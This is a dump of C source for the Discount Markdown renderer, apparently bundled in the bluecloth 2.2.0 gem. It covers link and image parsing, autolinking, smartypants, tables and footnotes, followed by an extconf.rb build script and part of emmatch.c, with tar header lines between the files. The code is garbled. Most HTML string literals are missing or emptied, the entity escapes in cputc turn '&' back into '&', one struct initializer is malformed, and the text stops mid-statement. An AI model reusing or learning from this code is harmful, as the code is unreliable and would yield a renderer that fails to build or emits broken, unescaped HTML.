= 1+title; S(ref->title) = (e-title)-2; return 1; } } } mmiotseek(f, whence); return 0; } /* extract a =HHHxWWW size from the input stream */ static int linkysize(MMIOT *f, Footnote *ref) { int height=0, width=0; int whence = mmiottell(f); int c; if ( isspace(peek(f,0)) ) { pull(f); /* eat '=' */ for ( c = pull(f); isdigit(c); c = pull(f)) width = (width * 10) + (c - '0'); if ( c == 'x' ) { for ( c = pull(f); isdigit(c); c = pull(f)) height = (height*10) + (c - '0'); if ( isspace(c) ) c = eatspace(f); if ( (c == ')') || ((c == '\'' || c == '"') && linkytitle(f, c, ref)) ) { ref->height = height; ref->width = width; return 1; } } } mmiotseek(f, whence); return 0; } /* extract a <...>-encased url from the input stream. * (markdown 1.0.2b8 compatibility; older versions * of markdown treated the < and > as syntactic * sugar that didn't have to be there. 1.0.2b8 * requires a closing >, and then falls into the * title or closing ) */ static int linkybroket(MMIOT *f, int image, Footnote *p) { int c; int good = 0; T(p->link) = cursor(f); for ( S(p->link)=0; (c = pull(f)) != '>'; ++S(p->link) ) { /* pull in all input until a '>' is found, or die trying. */ if ( c == EOF ) return 0; else if ( (c == '\\') && ispunct(peek(f,2)) ) { ++S(p->link); pull(f); } } c = eatspace(f); /* next nonspace needs to be a title, a size, or ) */ if ( ( c == '\'' || c == '"' ) && linkytitle(f,c,p) ) good=1; else if ( image && (c == '=') && linkysize(f,p) ) good=1; else good=( c == ')' ); if ( good ) { if ( peek(f, 1) == ')' ) pull(f); ___mkd_tidy(&p->link); } return good; } /* linkybroket */ /* extract a (-prefixed url from the input stream. * the label is either of the format ``, where I * extract until I find a >, or it is of the format * `text`, where I extract until I reach a ')', a quote, * or (if image) a '=' */ static int linkyurl(MMIOT *f, int image, Footnote *p) { int c; int mayneedtotrim=0; if ( (c = eatspace(f)) == EOF ) return 0; if ( c == '<' ) { pull(f); if ( !(f->flags & MKD_1_COMPAT) ) return linkybroket(f,image,p); mayneedtotrim=1; } T(p->link) = cursor(f); for ( S(p->link)=0; (c = peek(f,1)) != ')'; ++S(p->link) ) { if ( c == EOF ) return 0; else if ( (c == '"' || c == '\'') && linkytitle(f, c, p) ) break; else if ( image && (c == '=') && linkysize(f, p) ) break; else if ( (c == '\\') && ispunct(peek(f,2)) ) { ++S(p->link); pull(f); } pull(f); } if ( peek(f, 1) == ')' ) pull(f); ___mkd_tidy(&p->link); if ( mayneedtotrim && (T(p->link)[S(p->link)-1] == '>') ) --S(p->link); return 1; } /* prefixes for */ static struct _protocol { char *name; int nlen; } protocol[] = { #define _aprotocol(x) { x, (sizeof x)-1 } _aprotocol( "https:" ), _aprotocol( "http:" ), _aprotocol( "news:" ), _aprotocol( "ftp:" ), #undef _aprotocol }; #define NRPROTOCOLS (sizeof protocol / sizeof protocol[0]) static int isautoprefix(char *text, int size) { int i; struct _protocol *p; for (i=0, p=protocol; i < NRPROTOCOLS; i++, p++) if ( (size >= p->nlen) && strncasecmp(text, p->name, p->nlen) == 0 ) return 1; return 0; } /* * all the tag types that linkylinky can produce are * defined by this structure. */ typedef struct linkytype { char *pat; int szpat; char *link_pfx; /* tag prefix and link pointer (eg: "" */ char *text_sfx; /* text suffix (eg: "" */ int flags; /* reparse flags */ int kind; /* tag is url or something else? */ #define IS_URL 0x01 } linkytype; static linkytype imaget = { 0, 0, "\"",", MKD_NOIMAGE|MKD_TAGTEXT, IS_URL }; static linkytype linkt = { 0, 0, "", "", MKD_NOLINKS, IS_URL }; /* * pseudo-protocols for [][]; * * id: generates tag * class: generates tag * raw: just dump the link without any processing */ static linkytype specials[] = { { "id:", 3, "", "", 0, 0 }, { "raw:", 4, 0, 0, 0, 0, 0, MKD_NOHTML, 0 }, { "lang:", 5, "", "", 0, 0 }, { "abbr:", 5, "", "", 0, 0 }, { "class:", 6, "", "", 0, 0 }, } ; #define NR(x) (sizeof x / sizeof x[0]) /* see if t contains one of our pseudo-protocols. */ static linkytype * pseudo(Cstring t) { int i; linkytype *r; for ( i=0, r=specials; i < NR(specials); i++,r++ ) { if ( (S(t) > r->szpat) && (strncasecmp(T(t), r->pat, r->szpat) == 0) ) return r; } return 0; } /* print out the start of an `img' or `a' tag, applying callbacks as needed. */ static void printlinkyref(MMIOT *f, linkytype *tag, char *link, int size) { char *edit; if ( f->flags & IS_LABEL ) return; Qstring(tag->link_pfx, f); if ( tag->kind & IS_URL ) { if ( f->cb && f->cb->e_url && (edit = (*f->cb->e_url)(link, size, f->cb->e_data)) ) { puturl(edit, strlen(edit), f, 0); if ( f->cb->e_free ) (*f->cb->e_free)(edit, f->cb->e_data); } else puturl(link + tag->szpat, size - tag->szpat, f, 0); } else ___mkd_reparse(link + tag->szpat, size - tag->szpat, MKD_TAGTEXT, f); Qstring(tag->link_sfx, f); if ( f->cb && f->cb->e_flags && (edit = (*f->cb->e_flags)(link, size, f->cb->e_data)) ) { Qchar(' ', f); Qstring(edit, f); if ( f->cb->e_free ) (*f->cb->e_free)(edit, f->cb->e_data); } } /* printlinkyref */ /* helper function for php markdown extra footnotes; allow the user to * define a prefix tag instead of just `fn` */ static char * p_or_nothing(p) MMIOT *p; { return p->ref_prefix ? p->ref_prefix : "fn"; } /* php markdown extra/daring fireball style print footnotes */ static int extra_linky(MMIOT *f, Cstring text, Footnote *ref) { if ( ref->flags & REFERENCED ) return 0; if ( f->flags & IS_LABEL ) ___mkd_reparse(T(text), S(text), linkt.flags, f); else { ref->flags |= REFERENCED; ref->refnumber = ++ f->reference; Qprintf(f, "%d", p_or_nothing(f), ref->refnumber, p_or_nothing(f), ref->refnumber, ref->refnumber); } return 1; } /* extra_linky */ /* print out a linky (or fail if it's Not Allowed) */ static int linkyformat(MMIOT *f, Cstring text, int image, Footnote *ref) { linkytype *tag; if ( image || (ref == 0) ) tag = &imaget; else if ( tag = pseudo(ref->link) ) { if ( f->flags & (MKD_NO_EXT|MKD_SAFELINK) ) return 0; } else if ( (f->flags & MKD_SAFELINK) && T(ref->link) && (T(ref->link)[0] != '/') && !isautoprefix(T(ref->link), S(ref->link)) ) /* if MKD_SAFELINK, only accept links that are local or * a well-known protocol */ return 0; else tag = &linkt; if ( f->flags & tag->flags ) return 0; if ( f->flags & IS_LABEL ) ___mkd_reparse(T(text), S(text), tag->flags, f); else if ( tag->link_pfx ) { printlinkyref(f, tag, T(ref->link), S(ref->link)); if ( tag->WxH ) { if ( ref->height ) Qprintf(f," height=\"%d\"", ref->height); if ( ref->width ) Qprintf(f, " width=\"%d\"", ref->width); } if ( S(ref->title) ) { Qstring(" title=\"", f); ___mkd_reparse(T(ref->title), S(ref->title), MKD_TAGTEXT, f); Qchar('"', f); } Qstring(tag->text_pfx, f); ___mkd_reparse(T(text), S(text), tag->flags, f); Qstring(tag->text_sfx, f); } else Qwrite(T(ref->link) + tag->szpat, S(ref->link) - tag->szpat, f); return 1; } /* linkyformat */ /* * process embedded links and images */ static int linkylinky(int image, MMIOT *f) { int start = mmiottell(f); Cstring name; Footnote key, *ref; int status = 0; int extra_footnote = 0; CREATE(name); memset(&key, 0, sizeof key); if ( linkylabel(f, &name) ) { if ( peek(f,1) == '(' ) { pull(f); if ( linkyurl(f, image, &key) ) status = linkyformat(f, name, image, &key); } else { int goodlink, implicit_mark = mmiottell(f); if ( isspace(peek(f,1)) ) pull(f); if ( peek(f,1) == '[' ) { pull(f); /* consume leading '[' */ goodlink = linkylabel(f, &key.tag); } else { /* new markdown implicit name syntax doesn't * require a second [] */ mmiotseek(f, implicit_mark); goodlink = !(f->flags & MKD_1_COMPAT); if ( (f->flags & MKD_EXTRA_FOOTNOTE) && (!image) && S(name) && T(name)[0] == '^' ) extra_footnote = 1; } if ( goodlink ) { if ( !S(key.tag) ) { DELETE(key.tag); T(key.tag) = T(name); S(key.tag) = S(name); } if ( ref = bsearch(&key, T(*f->footnotes), S(*f->footnotes), sizeof key, (stfu)__mkd_footsort) ) { if ( extra_footnote ) status = extra_linky(f,name,ref); else status = linkyformat(f, name, image, ref); } else if ( f->flags & IS_LABEL ) status = linkyformat(f, name, image, 0); } } } DELETE(name); ___mkd_freefootnote(&key); if ( status == 0 ) mmiotseek(f, start); return status; } /* write a character to output, doing text escapes ( & -> &, * > -> > < -> < ) */ static void cputc(int c, MMIOT *f) { switch (c) { case '&': Qstring("&", f); break; case '>': Qstring(">", f); break; case '<': Qstring("<", f); break; default : Qchar(c, f); break; } } /* * convert an email address to a string of nonsense */ static void mangle(char *s, int len, MMIOT *f) { while ( len-- > 0 ) { Qstring("&#", f); Qprintf(f, COINTOSS() ? "x%02x;" : "%02d;", *((unsigned char*)(s++)) ); } } /* nrticks() -- count up a row of tick marks */ static int nrticks(int offset, int tickchar, MMIOT *f) { int tick = 0; while ( peek(f, offset+tick) == tickchar ) tick++; return tick; } /* nrticks */ /* matchticks() -- match a certain # of ticks, and if that fails * match the largest subset of those ticks. * * if a subset was matched, return the # of ticks * that were matched. */ static int matchticks(MMIOT *f, int tickchar, int ticks, int *endticks) { int size, count, c; int subsize=0, subtick=0; *endticks = ticks; for (size = 0; (c=peek(f,size+ticks)) != EOF; size ++) { if ( (c == tickchar) && ( count = nrticks(size+ticks,tickchar,f)) ) { if ( count == ticks ) return size; else if ( count ) { if ( (count > subtick) && (count < ticks) ) { subsize = size; subtick = count; } size += count; } } } if ( subsize ) { *endticks = subtick; return subsize; } return 0; } /* matchticks */ /* code() -- write a string out as code. The only characters that have * special meaning in a code block are * `<' and `&' , which * are /always/ expanded to < and & */ static void code(MMIOT *f, char *s, int length) { int i,c; for ( i=0; i < length; i++ ) if ( (c = s[i]) == 003) /* ^C: expand back to 2 spaces */ Qstring(" ", f); else cputc(c, f); } /* code */ /* delspan() -- write out a chunk of text, blocking with ... */ static void delspan(MMIOT *f, int size) { Qstring("", f); ___mkd_reparse(cursor(f)-1, size, 0, f); Qstring("", f); } /* codespan() -- write out a chunk of text as code, trimming one * space off the front and/or back as appropriate. */ static void codespan(MMIOT *f, int size) { int i=0; if ( size > 1 && peek(f, size-1) == ' ' ) --size; if ( peek(f,i) == ' ' ) ++i, --size; Qstring("", f); code(f, cursor(f)+(i-1), size); Qstring("", f); } /* codespan */ /* before letting a tag through, validate against * MKD_NOLINKS and MKD_NOIMAGE */ static int forbidden_tag(MMIOT *f) { int c = toupper(peek(f, 1)); if ( f->flags & MKD_NOHTML ) return 1; if ( c == 'A' && (f->flags & MKD_NOLINKS) && !isthisalnum(f,2) ) return 1; if ( c == 'I' && (f->flags & MKD_NOIMAGE) && strncasecmp(cursor(f)+1, "MG", 2) == 0 && !isthisalnum(f,4) ) return 1; return 0; } /* Check a string to see if it looks like a mail address * "looks like a mail address" means alphanumeric + some * specials, then a `@`, then alphanumeric + some specials, * but with a `.` */ static int maybe_address(char *p, int size) { int ok = 0; for ( ;size && (isalnum(*p) || strchr("._-+*", *p)); ++p, --size) ; if ( ! (size && *p == '@') ) return 0; --size, ++p; if ( size && *p == '.' ) return 0; for ( ;size && (isalnum(*p) || strchr("._-+", *p)); ++p, --size ) if ( *p == '.' && size > 1 ) ok = 1; return size ? 0 : ok; } /* The size-length token at cursor(f) is either a mailto:, an * implicit mailto:, one of the approved url protocols, or just * plain old text. If it's a mailto: or an approved protocol, * linkify it, otherwise say "no" */ static int process_possible_link(MMIOT *f, int size) { int address= 0; int mailto = 0; char *text = cursor(f); if ( f->flags & MKD_NOLINKS ) return 0; if ( (size > 7) && strncasecmp(text, "mailto:", 7) == 0 ) { /* if it says it's a mailto, it's a mailto -- who am * I to second-guess the user? */ address = 1; mailto = 7; /* 7 is the length of "mailto:"; we need this */ } else address = maybe_address(text, size); if ( address ) { Qstring("", f); mangle(text+mailto, size-mailto, f); Qstring("", f); return 1; } else if ( isautoprefix(text, size) ) { printlinkyref(f, &linkt, text, size); Qchar('>', f); puturl(text,size,f, 1); Qstring("", f); return 1; } return 0; } /* process_possible_link */ /* a < may be just a regular character, the start of an embedded html * tag, or the start of an . If it's an automatic * link, we also need to know if it's an email address because if it * is we need to mangle it in our futile attempt to cut down on the * spaminess of the rendered page. */ static int maybe_tag_or_link(MMIOT *f) { int c, size; int maybetag = 1; if ( f->flags & MKD_TAGTEXT ) return 0; for ( size=0; (c = peek(f, size+1)) != '>'; size++) { if ( c == EOF ) return 0; else if ( c == '\\' ) { maybetag=0; if ( peek(f, size+2) != EOF ) size++; } else if ( isspace(c) ) break; #if WITH_GITHUB_TAGS else if ( ! (c == '/' || c == '-' || c == '_' || isalnum(c) ) ) #else else if ( ! (c == '/' || isalnum(c) ) ) #endif maybetag=0; } if ( size ) { if ( maybetag || (size >= 3 && strncmp(cursor(f), "!--", 3) == 0) ) { /* It is not a html tag unless we find the closing '>' in * the same block. */ while ( (c = peek(f, size+1)) != '>' ) if ( c == EOF ) return 0; else size++; if ( forbidden_tag(f) ) return 0; Qchar('<', f); while ( ((c = peek(f, 1)) != EOF) && (c != '>') ) Qchar(pull(f), f); return 1; } else if ( !isspace(c) && process_possible_link(f, size) ) { shift(f, size+1); return 1; } } return 0; } /* autolinking means that all inline html is . A * autolink url is alphanumerics, slashes, periods, underscores, * the at sign, colon, and the % character. */ static int maybe_autolink(MMIOT *f) { register int c; int size; /* greedily scan forward for the end of a legitimate link. */ for ( size=0; (c=peek(f, size+1)) != EOF; size++ ) if ( c == '\\' ) { if ( peek(f, size+2) != EOF ) ++size; } else if ( isspace(c) || strchr("'\"()[]{}<>`", c) ) break; if ( (size > 1) && process_possible_link(f, size) ) { shift(f, size); return 1; } return 0; } /* smartyquote code that's common for single and double quotes */ static int smartyquote(int *flags, char typeofquote, MMIOT *f) { int bit = (typeofquote == 's') ? 0x01 : 0x02; if ( bit & (*flags) ) { if ( isthisnonword(f,1) ) { Qprintf(f, "&r%cquo;", typeofquote); (*flags) &= ~bit; return 1; } } else if ( isthisnonword(f,-1) && peek(f,1) != EOF ) { Qprintf(f, "&l%cquo;", typeofquote); (*flags) |= bit; return 1; } return 0; } static int islike(MMIOT *f, char *s) { int len; int i; if ( s[0] == '<' ) { if ( !isthisnonword(f, -1) ) return 0; ++s; } if ( !(len = strlen(s)) ) return 0; if ( s[len-1] == '>' ) { if ( !isthisnonword(f,len-1) ) return 0; len--; } for (i=1; i < len; i++) if (tolower(peek(f,i)) != s[i]) return 0; return 1; } static struct smarties { char c0; char *pat; char *entity; int shift; } smarties[] = { { '\'', "'s>", "rsquo", 0 }, { '\'', "'t>", "rsquo", 0 }, { '\'', "'re>", "rsquo", 0 }, { '\'', "'ll>", "rsquo", 0 }, { '\'', "'ve>", "rsquo", 0 }, { '\'', "'m>", "rsquo", 0 }, { '\'', "'d>", "rsquo", 0 }, { '-', "--", "mdash", 1 }, { '-', "<->", "ndash", 0 }, { '.', "...", "hellip", 2 }, { '.', ". . .", "hellip", 4 }, { '(', "(c)", "copy", 2 }, { '(', "(r)", "reg", 2 }, { '(', "(tm)", "trade", 3 }, { '3', "<3/4>", "frac34", 2 }, { '3', "<3/4ths>", "frac34", 2 }, { '1', "<1/2>", "frac12", 2 }, { '1', "<1/4>", "frac14", 2 }, { '1', "<1/4th>", "frac14", 2 }, { '&', "�", 0, 3 }, } ; #define NRSMART ( sizeof smarties / sizeof smarties[0] ) /* Smarty-pants-style chrome for quotes, -, ellipses, and (r)(c)(tm) */ static int smartypants(int c, int *flags, MMIOT *f) { int i; if ( f->flags & (MKD_NOPANTS|MKD_TAGTEXT|IS_LABEL) ) return 0; for ( i=0; i < NRSMART; i++) if ( (c == smarties[i].c0) && islike(f, smarties[i].pat) ) { if ( smarties[i].entity ) Qprintf(f, "&%s;", smarties[i].entity); shift(f, smarties[i].shift); return 1; } switch (c) { case '<' : return 0; case '\'': if ( smartyquote(flags, 's', f) ) return 1; break; case '"': if ( smartyquote(flags, 'd', f) ) return 1; break; case '`': if ( peek(f, 1) == '`' ) { int j = 2; while ( (c=peek(f,j)) != EOF ) { if ( c == '\\' ) j += 2; else if ( c == '`' ) break; else if ( c == '\'' && peek(f, j+1) == '\'' ) { Qstring("“", f); ___mkd_reparse(cursor(f)+1, j-2, 0, f); Qstring("”", f); shift(f,j+1); return 1; } else ++j; } } break; } return 0; } /* smartypants */ /* process a body of text encased in some sort of tick marks. If it * works, generate the output and return 1, otherwise just return 0 and * let the caller figure it out. */ static int tickhandler(MMIOT *f, int tickchar, int minticks, spanhandler spanner) { int endticks, size; int tick = nrticks(0, tickchar, f); if ( (tick >= minticks) && (size = matchticks(f,tickchar,tick,&endticks)) ) { if ( endticks < tick ) { size += (tick - endticks); tick = endticks; } shift(f, tick); (*spanner)(f,size); shift(f, size+tick-1); return 1; } return 0; } #define tag_text(f) (f->flags & MKD_TAGTEXT) static void text(MMIOT *f) { int c, j; int rep; int smartyflags = 0; while (1) { if ( (f->flags & MKD_AUTOLINK) && isalpha(peek(f,1)) && !tag_text(f) ) maybe_autolink(f); c = pull(f); if (c == EOF) break; if ( smartypants(c, &smartyflags, f) ) continue; switch (c) { case 0: break; case 3: Qstring(tag_text(f) ? " " : "
", f); break; case '>': if ( tag_text(f) ) Qstring(">", f); else Qchar(c, f); break; case '"': if ( tag_text(f) ) Qstring(""", f); else Qchar(c, f); break; case '!': if ( peek(f,1) == '[' ) { pull(f); if ( tag_text(f) || !linkylinky(1, f) ) Qstring("![", f); } else Qchar(c, f); break; case '[': if ( tag_text(f) || !linkylinky(0, f) ) Qchar(c, f); break; /* A^B -> AB */ case '^': if ( (f->flags & (MKD_NOSUPERSCRIPT|MKD_STRICT|MKD_TAGTEXT)) || (isthisnonword(f,-1) && peek(f,-1) != ')') || isthisspace(f,1) ) Qchar(c,f); else { char *sup = cursor(f); int len = 0; if ( peek(f,1) == '(' ) { int here = mmiottell(f); pull(f); if ( (len = parenthetical('(',')',f)) <= 0 ) { mmiotseek(f,here); Qchar(c, f); break; } sup++; } else { while ( isthisalnum(f,1+len) ) ++len; if ( !len ) { Qchar(c,f); break; } shift(f,len); } Qstring("",f); ___mkd_reparse(sup, len, 0, f); Qstring("", f); } break; case '_': /* Underscores don't count if they're in the middle of a word */ if ( !(f->flags & (MKD_NORELAXED|MKD_STRICT)) && isthisalnum(f,-1) && isthisalnum(f,1) ) { Qchar(c, f); break; } case '*': /* Underscores & stars don't count if they're out in the middle * of whitespace */ if ( isthisspace(f,-1) && isthisspace(f,1) ) { Qchar(c, f); break; } /* else fall into the regular old emphasis case */ if ( tag_text(f) ) Qchar(c, f); else { for (rep = 1; peek(f,1) == c; pull(f) ) ++rep; Qem(f,c,rep); } break; case '~': if ( (f->flags & (MKD_NOSTRIKETHROUGH|MKD_TAGTEXT|MKD_STRICT)) || !tickhandler(f,c,2,delspan) ) Qchar(c, f); break; case '`': if ( tag_text(f) || !tickhandler(f,c,1,codespan) ) Qchar(c, f); break; case '\\': switch ( c = pull(f) ) { case '&': Qstring("&", f); break; case '<': Qstring("<", f); break; case '^': if ( f->flags & (MKD_STRICT|MKD_NOSUPERSCRIPT) ) { Qchar('\\', f); shift(f,-1); break; } Qchar(c, f); break; case ':': case '|': if ( f->flags & MKD_NOTABLES ) { Qchar('\\', f); shift(f,-1); break; } Qchar(c, f); break; case '>': case '#': case '.': case '-': case '+': case '{': case '}': case ']': case '!': case '[': case '*': case '_': case '\\':case '(': case ')': case '`': Qchar(c, f); break; default: Qchar('\\', f); if ( c != EOF ) shift(f,-1); break; } break; case '<': if ( !maybe_tag_or_link(f) ) Qstring("<", f); break; case '&': j = (peek(f,1) == '#' ) ? 2 : 1; while ( isthisalnum(f,j) ) ++j; if ( peek(f,j) != ';' ) Qstring("&", f); else Qchar(c, f); break; default: Qchar(c, f); break; } } /* truncate the input string after we've finished processing it */ S(f->in) = f->isp = 0; } /* text */ /* print a header block */ static void printheader(Paragraph *pp, MMIOT *f) { #if WITH_ID_ANCHOR Qprintf(f, "hnumber); if ( f->flags & MKD_TOC ) { Qstring(" id=\"", f); mkd_string_to_anchor(T(pp->text->text), S(pp->text->text), (mkd_sta_function_t)Qchar, f, 1); Qchar('"', f); } Qchar('>', f); #else if ( f->flags & MKD_TOC ) { Qstring("
text->text), S(pp->text->text), (mkd_sta_function_t)Qchar, f, 1); Qstring("\">\n", f); } Qprintf(f, "", pp->hnumber); #endif push(T(pp->text->text), S(pp->text->text), f); text(f); Qprintf(f, "", pp->hnumber); } enum e_alignments { a_NONE, a_CENTER, a_LEFT, a_RIGHT }; static char* alignments[] = { "", " align=\"center\"", " align=\"left\"", " align=\"right\"" }; typedef STRING(int) Istring; static int splat(Line *p, char *block, Istring align, int force, MMIOT *f) { int first, idx = 0, colno = 0; Qstring("\n", f); while ( idx < S(p->text) ) { first = idx; if ( force && (colno >= S(align)-1) ) idx = S(p->text); else while ( (idx < S(p->text)) && (T(p->text)[idx] != '|') ) { if ( T(p->text)[idx] == '\\' ) ++idx; ++idx; } Qprintf(f, "<%s%s>", block, alignments[ (colno < S(align)) ? T(align)[colno] : a_NONE ]); ___mkd_reparse(T(p->text)+first, idx-first, 0, f); Qprintf(f, "\n", block); idx++; colno++; } if ( force ) while (colno < S(align) ) { Qprintf(f, "<%s>\n", block, block); ++colno; } Qstring("\n", f); return colno; } static int printtable(Paragraph *pp, MMIOT *f) { /* header, dashes, then lines of content */ Line *hdr, *dash, *body; Istring align; int start; int hcols; char *p; if ( !(pp->text && pp->text->next) ) return 0; hdr = pp->text; dash= hdr->next; body= dash->next; /* first figure out cell alignments */ CREATE(align); for (p=T(dash->text), start=0; start < S(dash->text); ) { char first, last; int end; last=first=0; for (end=start ; (end < S(dash->text)) && p[end] != '|'; ++ end ) { if ( p[end] == '\\' ) ++ end; else if ( !isspace(p[end]) ) { if ( !first) first = p[end]; last = p[end]; } } EXPAND(align) = ( first == ':' ) ? (( last == ':') ? a_CENTER : a_LEFT) : (( last == ':') ? a_RIGHT : a_NONE ); start = 1+end; } Qstring("\n", f); Qstring("\n", f); hcols = splat(hdr, "th", align, 0, f); Qstring("\n", f); if ( hcols < S(align) ) S(align) = hcols; else while ( hcols > S(align) ) EXPAND(align) = a_NONE; Qstring("\n", f); for ( ; body; body = body->next) splat(body, "td", align, 1, f); Qstring("\n", f); Qstring("
\n", f); DELETE(align); return 1; } static int printblock(Paragraph *pp, MMIOT *f) { Line *t = pp->text; static char *Begin[] = { "", "

", "

" }; static char *End[] = { "", "

","

" }; while (t) { if ( S(t->text) ) { if ( t->next && S(t->text) > 2 && T(t->text)[S(t->text)-2] == ' ' && T(t->text)[S(t->text)-1] == ' ' ) { push(T(t->text), S(t->text)-2, f); push("\003\n", 2, f); } else { ___mkd_tidy(&t->text); push(T(t->text), S(t->text), f); if ( t->next ) push("\n", 1, f); } } t = t->next; } Qstring(Begin[pp->align], f); text(f); Qstring(End[pp->align], f); return 1; } static void printcode(Line *t, MMIOT *f) { int blanks; Qstring("
", f);
    for ( blanks = 0; t ; t = t->next ) {
	if ( S(t->text) > t->dle ) {
	    while ( blanks ) {
		Qchar('\n', f);
		--blanks;
	    }
	    code(f, T(t->text), S(t->text));
	    Qchar('\n', f);
	}
	else blanks++;
    }
    Qstring("
", f); } static void printhtml(Line *t, MMIOT *f) { int blanks; for ( blanks=0; t ; t = t->next ) if ( S(t->text) ) { for ( ; blanks; --blanks ) Qchar('\n', f); Qwrite(T(t->text), S(t->text), f); Qchar('\n', f); } else blanks++; } static void htmlify(Paragraph *p, char *block, char *arguments, MMIOT *f) { ___mkd_emblock(f); if ( block ) Qprintf(f, arguments ? "<%s %s>" : "<%s>", block, arguments); ___mkd_emblock(f); while (( p = display(p, f) )) { ___mkd_emblock(f); Qstring("\n\n", f); } if ( block ) Qprintf(f, "", block); ___mkd_emblock(f); } static void definitionlist(Paragraph *p, MMIOT *f) { Line *tag; if ( p ) { Qstring("
\n", f); for ( ; p ; p = p->next) { for ( tag = p->text; tag; tag = tag->next ) { Qstring("
", f); ___mkd_reparse(T(tag->text), S(tag->text), 0, f); Qstring("
\n", f); } htmlify(p->down, "dd", p->ident, f); Qchar('\n', f); } Qstring("
", f); } } static void listdisplay(int typ, Paragraph *p, MMIOT* f) { if ( p ) { Qprintf(f, "<%cl", (typ==UL)?'u':'o'); if ( typ == AL ) Qprintf(f, " type=\"a\""); Qprintf(f, ">\n"); for ( ; p ; p = p->next ) { htmlify(p->down, "li", p->ident, f); Qchar('\n', f); } Qprintf(f, "\n", (typ==UL)?'u':'o'); } } /* dump out a Paragraph in the desired manner */ static Paragraph* display(Paragraph *p, MMIOT *f) { if ( !p ) return 0; switch ( p->typ ) { case STYLE: case WHITESPACE: break; case HTML: printhtml(p->text, f); break; case CODE: printcode(p->text, f); break; case QUOTE: htmlify(p->down, p->ident ? "div" : "blockquote", p->ident, f); break; case UL: case OL: case AL: listdisplay(p->typ, p->down, f); break; case DL: definitionlist(p->down, f); break; case HR: Qstring("
", f); break; case HDR: printheader(p, f); break; case TABLE: printtable(p, f); break; case SOURCE: htmlify(p->down, 0, 0, f); break; default: printblock(p, f); break; } return p->next; } /* dump out a list of footnotes */ static void mkd_extra_footnotes(MMIOT *m) { int j, i; Footnote *t; if ( m->reference == 0 ) return; Csprintf(&m->out, "\n
\n
\n
    \n"); for ( i=1; i <= m->reference; i++ ) { for ( j=0; j < S(*m->footnotes); j++ ) { t = &T(*m->footnotes)[j]; if ( (t->refnumber == i) && (t->flags & REFERENCED) ) { Csprintf(&m->out, "
  1. \n

    ", p_or_nothing(m), t->refnumber); Csreparse(&m->out, T(t->title), S(t->title), 0); Csprintf(&m->out, "", p_or_nothing(m), t->refnumber); Csprintf(&m->out, "

  2. \n"); } } } Csprintf(&m->out, "
\n
\n"); } /* return a pointer to the compiled markdown * document. */ int mkd_document(Document *p, char **res) { int size; if ( p && p->compiled ) { if ( ! p->html ) { htmlify(p->code, 0, 0, p->ctx); if ( p->ctx->flags & MKD_EXTRA_FOOTNOTE ) mkd_extra_footnotes(p->ctx); p->html = 1; } size = S(p->ctx->out); if ( (size == 0) || T(p->ctx->out)[size-1] ) EXPAND(p->ctx->out) = 0; *res = T(p->ctx->out); return size; } return EOF; } bluecloth-2.2.0/ext/extconf.rb0000644000175000017500000000243511665167136015665 0ustar boutilboutil#!/usr/bin/env ruby require 'mkmf' require 'fileutils' require 'pathname' require 'rbconfig' include RbConfig versionfile = Pathname.new( __FILE__ ).dirname + 'VERSION' version = versionfile.read.chomp # Thanks to Daniel Berger for helping me out with this. :) if CONFIG['host_os'].match( 'mswin' ) $CFLAGS << ' -I.' << ' -W3' << ' -Zi' else $CFLAGS << ' -I.' end $CPPFLAGS << %Q{ -DVERSION=\\"#{version}\\"} # Add my own debugging hooks if building for me if ENV['MAINTAINER_MODE'] $stderr.puts "Maintainer mode enabled." $CFLAGS << ' -Wall' $CFLAGS << ' -ggdb' << ' -DDEBUG' end # Stuff from configure.sh have_func( "srand" ) || have_func( "srandom" ) have_func( "random" ) || have_func( "rand" ) # bzero() isn't ANSI C, so use memset() if it isn't defined have_func( "bzero", %w[string.h strings.h] ) unless have_func( "strcasecmp" ) || have_func( "stricmp" ) abort "This extension requires either strcasecmp() or stricmp()" end unless have_func( "strncasecmp" ) || have_func( "strnicmp" ) abort "This extensions requires either strncasecmp() or strnicmp()" end have_header( 'mkdio.h' ) or abort "missing mkdio.h" # Check for 1.9.xish encoding header have_header( 'ruby/encoding.h' ) create_header() create_makefile( 'bluecloth_ext' ) FileUtils.rm_rf( 'conftest.dSYM' ) # MacOS X cleanup bluecloth-2.2.0/ext/emmatch.c0000644000175000017500000001012011665167136015442 0ustar boutilboutil/* markdown: a C implementation of John Gruber's Markdown markup language. * * Copyright (C) 2010 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include #include #include #include #include #include #include "config.h" #include "cstring.h" #include "markdown.h" #include "amalloc.h" /* emmatch: the emphasis mangler that's run after a block * of html has been generated. * * It should create MarkdownTest_1.0 (and _1.0.3) * compatable emphasis for non-pathological cases * and it should fail in a standards-compliant way * when someone attempts to feed it junk. * * Emmatching is done after the input has been * processed into a STRING (f->Q) of text and * emphasis blocks. After ___mkd_emblock() finishes, * it truncates f->Q and leaves the rendered paragraph * if f->out. */ /* empair() -- find the NEAREST matching emphasis token (or * subtoken of a 3+ long emphasis token. */ static int empair(MMIOT *f, int first, int last, int match) { int i; block *begin, *p; begin = &T(f->Q)[first]; for (i=first+1; i <= last; i++) { p = &T(f->Q)[i]; if ( (p->b_type != bTEXT) && (p->b_count <= 0) ) continue; /* break? */ if ( p->b_type == begin->b_type ) { if ( p->b_count == match ) /* exact match */ return i; if ( p->b_count > 2 ) /* fuzzy match */ return i; } } return 0; } /* empair */ /* emfill() -- if an emphasis token has leftover stars or underscores, * convert them back into character and append them to b_text. */ static void emfill(block *p) { int j; if ( p->b_type == bTEXT ) return; for (j=0; j < p->b_count; j++) EXPAND(p->b_text) = p->b_char; p->b_count = 0; } /* emfill */ static void emclose(MMIOT *f, int first, int last) { int j; for (j=first+1; jQ)[j]); } static struct emtags { char open[10]; char close[10]; int size; } emtags[] = { { "" , "", 5 }, { "", "", 9 } }; static void emblock(MMIOT*,int,int); /* emmatch() -- match emphasis for a single emphasis token. */ static void emmatch(MMIOT *f, int first, int last) { block *start = &T(f->Q)[first]; int e, e2, match; switch (start->b_count) { case 2: if ( e = empair(f,first,last,match=2) ) break; case 1: e = empair(f,first,last,match=1); break; case 0: return; default: e = empair(f,first,last,1); e2= empair(f,first,last,2); if ( e2 >= e ) { e = e2; match = 2; } else match = 1; break; } if ( e ) { /* if we found emphasis to match, match it, recursively call * emblock to match emphasis inside the new html block, add * the emphasis markers for the block, then (tail) recursively * call ourself to match any remaining emphasis on this token. */ block *end = &T(f->Q)[e]; end->b_count -= match; start->b_count -= match; emblock(f, first, e); PREFIX(start->b_text, emtags[match-1].open, emtags[match-1].size-1); SUFFIX(end->b_post, 